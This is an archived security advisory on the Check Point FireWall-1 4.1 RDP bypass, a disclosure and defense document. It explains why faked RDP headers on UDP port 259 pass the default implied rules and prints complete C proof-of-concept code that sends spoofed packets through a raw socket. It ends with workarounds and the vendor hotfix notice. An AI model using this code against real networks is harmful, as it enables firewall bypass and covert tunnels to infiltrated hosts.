COMMAND
Check Point FireWall-1
SYSTEMS AFFECTED
Check Point VPN-1(TM) & FireWall-1(R) Version 4.1
PROBLEM
Following is based on a Inside Security GmbH Advisory. It is
possible to bypass FireWall-1 with faked RDP packets if the
default implied rules are being used.
RDP (Reliable Data Protocol, but not the one specified in RFC 908,
a Check Point proprietary one) is used by FireWall-1 on top of the
User Datagram Protocol (UDP) to establish encrypted sessions.
FireWall-1 management rules allow arbitrary eitherbound RDP
connections to traverse the firewall. Only the destination port
(259) and the RDP command are verified by FireWall-1. By adding
a faked RDP header to normal UDP traffic any content can be
passed to port 259 on any remote host on either side of the
firewall.
Implied rules can't be easily modified or removed (except all
together) with the FireWall-1 policy editor.
Given access to hosts on both sides of a firewall a tunnel to
bypass the firewall could be built using this vulnerability.
Such access could be gained with a trojan horse that uses this
vulnerability to connect from the inside back to the machine of
the attacker. But also arbitrary connections from the outside to
machines behind the firewall (even if they are supposedly totally
blocked from the in- and outside by the firewall) can be
established, for example to communicate with infiltrated programs
like viruses.
As FireWall-1 rulesets are created they are translated into the
INSPECT language (similar to C) and by default include the file
$FWDIR/lib/base.def which itself includes $FWDIR/lib/crypt.def in
line 259. Together they define protocol names and the so called
implied rules (for FireWall-1 management). In line 62 the macro
accept_fw1_rdp is defined to accept any eitherbound connection
that matches the following characteristics:
- Protocol UDP
- Destination port 259 (RDP)
- RDP Command RDPCRYPTCMD (100), RDPCRYPT_RESTARTCMD (101),
RDPUSERCMD (150) or RDPSTATUSCMD (128).
The RDP command types RDPCRYPT =
{RDPCRYPTCMD,RDPUSERCMD,RDPSTATUSCMD} and RDPCRYPT_RESTART =
{RDPCRYPT_RESTARTCMD} will permit traversal of faked RDP packets
(regardless of the value of NO_ENCRYPTION_FEATURES, undefined by
default).
This vulnerability was found and documented by Jochen Thomas Bauer
and Boris Wesslowski of Inside Security GmbH, Stuttgart, Germany.
There has been some confusion about the term "RDP". There is
actually a protocol called "RPD (Reliable Datagram Protocol)"
described in RFC 908, which is directly based on the IP protocol.
However this is not the same as the proprietary "Checkpoint RDP
protocol".
The Checkpoint RDP protocol is basically a UDP service with port
259, the packets for this service therefore have the following
structure:
#######################
# IP Header #
#######################
# UDP Header #
#######################
# RDP Header #
#######################
# Payload #
#######################
The RDP header simply consists of:
bit 0 31
######################
# RDP Magic Number #
######################
# RDP Command #
######################
or, expressing it in C
struct rdp_hdr
{
unsigned int rdp_magic;
unsigned int rdp_cmd;
} rdp_head;
The value of the RDP Magic Number has turned out to be irrelevant
for our purposes. The numbers of those RDP commands that will be
permitted to pass the firewall without further processing follows
straight from the INSPECT include file $FWDIR/crypt.def.
1.) Following is no "Script-Kiddie" exploit, it will not provide
anyone with a means to instantly break into foreign hosts.
2.) Any cracker with decent skills and access to a Firewall-1
machine for testing purposes will in the meantime have
developed his/her own code to make use of this vulnerability.
3.) Patches and workarounds have been provided by Checkpoint and
others. This proof of concept code will aid administrators in
testing their systems and the patches/workarounds they
applied.
In our code, we construct packets including IP and UDP header to
allow testing with arbitrary (spoofed) source IP adresses and
ports. This code has been written and tested on SuSE Linux 7.1
with kernel 2.4.2. It should (possibly with minor changes)
compile on any other linux platform.
/*
Checkpoint FW-1 Version 4.1 "RDP Bypass Vulnerability" proof of concept code
Copyright 2001 Jochen Bauer, Inside Security IT Consulting GmbH <jtb@inside-security.de>
Compiled and tested on SuSE Linux 7.1
This program is for testing purposes only, any other use is prohibited!
*/
#include <stdio.h>
#include <netinet/ip.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <netinet/udp.h>
#include <string.h>
#include <stdlib.h>
#include <errno.h>
#include <sys/types.h>
#include <asm/types.h>
/*See $FWDIR/lib/crypt.def for the following definitions.*/
/*We set the highest bit, so that the RDP commands are */
/*not members of the sets RDPCRYPTF and RDPCRYPT_RESTARTF*/
#define RDP_PORT 259 /*RDP port*/
#define RDPCRYPT_RESTARTCMD 101|0x80000000
#define RDPCRYPTCMD 100|0x80000000
#define RDPUSERCMD 150|0x80000000
#define RDPSTATUSCMD 128|0x80000000
/*---------------Checksum calculation--------------------------------*/
unsigned short in_cksum(unsigned short *addr,int len)
{
register int nleft=len;
register unsigned short *w=addr;
register int sum=0;
unsigned short answer=0;
while(nleft>1)
{
sum+=*w++;
nleft-=2;
}
if(nleft==1)
{
*(u_char *)(&answer)=*(u_char *)w;
sum+=answer;
}
sum=(sum >> 16)+(sum & 0xffff);
sum+=(sum >> 16);
answer=~sum;
return(answer);
}
/*----------------------------------------------------------------------*/
/*------------Send spoofed UDP packet-----------------------------------*/
int send_udp(int sfd,unsigned int src,unsigned short src_p,
unsigned int dst,unsigned short dst_p,char *buffer,int len)
{
struct iphdr ip_head;
struct udphdr udp_head;
struct sockaddr_in target;
char *packet;
int i;
struct udp_pseudo /*the udp pseudo header*/
{
unsigned int src_addr;
unsigned int dst_addr;
unsigned char dummy;
unsigned char proto;
unsigned short length;
} pseudohead;
struct help_checksum /*struct for checksum calculation*/
{
struct udp_pseudo pshd;
struct udphdr udphd;
} udp_chk_construct;
/*Prepare IP header*/
ip_head.ihl = 5; /*headerlength with no options*/
ip_head.version = 4;
ip_head.tos = 0;
ip_head.tot_len = htons(sizeof(struct iphdr)+sizeof(struct udphdr)+len);
ip_head.id = htons(30000 + (rand()%100));
ip_head.frag_off = 0;
ip_head.ttl = 255;
ip_head.protocol = IPPROTO_UDP;
ip_head.check = 0; /*Must be zero for checksum calculation*/
ip_head.saddr = src;
ip_head.daddr = dst;
ip_head.check = in_cksum((unsigned short *)&ip_head,sizeof(struct iphdr));
/*Prepare UDP header*/
udp_head.source = htons(src_p);
udp_head.dest = htons(dst_p);
udp_head.len = htons(sizeof(struct udphdr)+len);
udp_head.check = 0;
/*Assemble structure for checksum calculation and calculate checksum*/
pseudohead.src_addr=ip_head.saddr;
pseudohead.dst_addr=ip_head.daddr;
pseudohead.dummy=0;
pseudohead.proto=ip_head.protocol;
pseudohead.length=htons(sizeof(struct udphdr)+len);
udp_chk_construct.pshd=pseudohead;
udp_chk_construct.udphd=udp_head;
packet=malloc(sizeof(struct help_checksum)+len);
memcpy(packet,&udp_chk_construct,sizeof(struct help_checksum)); /*pre-assemble packet for*/
memcpy(packet+sizeof(struct help_checksum),buffer,len); /*checksum calculation*/
udp_head.check=in_cksum((unsigned short *)packet,sizeof(struct help_checksum)+len);
free(packet);
/*Assemble packet*/
packet=malloc(sizeof(struct iphdr)+sizeof(struct udphdr)+len);
memcpy(packet,(char *)&ip_head,sizeof(struct iphdr));
memcpy(packet+sizeof(struct iphdr),(char *)&udp_head,sizeof(struct udphdr));
memcpy(packet+sizeof(struct iphdr)+sizeof(struct udphdr),buffer,len);
/*Send packet*/
target.sin_family = AF_INET;
target.sin_addr.s_addr= ip_head.daddr;
target.sin_port = udp_head.source;
i=sendto(sfd,packet,sizeof(struct iphdr)+sizeof(struct udphdr)+len,0,
(struct sockaddr *)&target,sizeof(struct sockaddr_in));
free(packet);
if(i<0)
return(-1); /*Error*/
else
return(i); /*Return number of bytes sent*/
}
/*---------------------------------------------------------------------*/
int main(int argc, char *argv[])
{
int i;
unsigned int source,target;
unsigned short int s_port,d_port;
char payload[]="abcdefg"; /*payload length must be a multiple of 4*/
char *data;
/*RDP header, refer to $FWDIR/lib/tcpip.def*/
struct rdp_hdr
{
unsigned int rdp_magic;
unsigned int rdp_cmd;
} rdp_head;
if(argv[1]==NULL || argv[2]==NULL || argv[3]==NULL)
{
printf("Usage: %s source_ip source_port dest_ip\n",argv[0]);
return(1);
}
else
{
source=inet_addr(argv[1]);
s_port=atoi(argv[2]);
target=inet_addr(argv[3]);
d_port=RDP_PORT;
}
/* the command number can be one of the following: */
/* RDPCRYPT_RESTARTCMD, RDPCRYPTCMD, RDPUSERCMD, RDPSTATUSCMD */
rdp_head.rdp_cmd=htonl(RDPCRYPT_RESTARTCMD);
rdp_head.rdp_magic=htonl(12345); /*seems to be irrelevant*/
/*Assemble fake RDP header and payload*/
data=malloc(sizeof(struct rdp_hdr)+strlen(payload)+1);
memcpy(data,&rdp_head,sizeof(struct rdp_hdr));
memcpy(data+sizeof(struct rdp_hdr),payload,strlen(payload)+1);
if((i=socket(AF_INET,SOCK_RAW,IPPROTO_RAW))<0) /*open sending socket*/
{
perror("socket");
exit(1);
}
i=send_udp(i,source,s_port,target,d_port,data,sizeof(struct rdp_hdr)+strlen(payload)+1);
if(i<0)
printf("Error, packet not sent\n");
else
printf("Sent %u bytes\n",i);
return(0);
}
SOLUTION
The vulnerability has been reported to Check Point and a fix is
out. Workaround:
- Comment line 2646 of crypt.def (accept_fw1_rdp;)
- Deactivate implied rules in the Check Point policy editor (and
build your own rules for management connections).
- Block UDP traffic to port 259 on your perimeter router.
Check Point uses a protocol called RDP (UDP/259) for some
internal communication between software components (this is not
the same RDP as IP protocol 27). By default, VPN-1/FireWall-1
allows RDP packets to traverse firewall gateways in order to
simplify encryption setup. Under some conditions, packets with
RDP headers could be constructed which would be allowed across a
VPN-1/FireWall-1 gateway without being explicitly allowed by the
rule base. A hotfix is available for immediate download which
addresses this issue. Further details are available at
http://www.checkpoint.com/techsupport/alerts/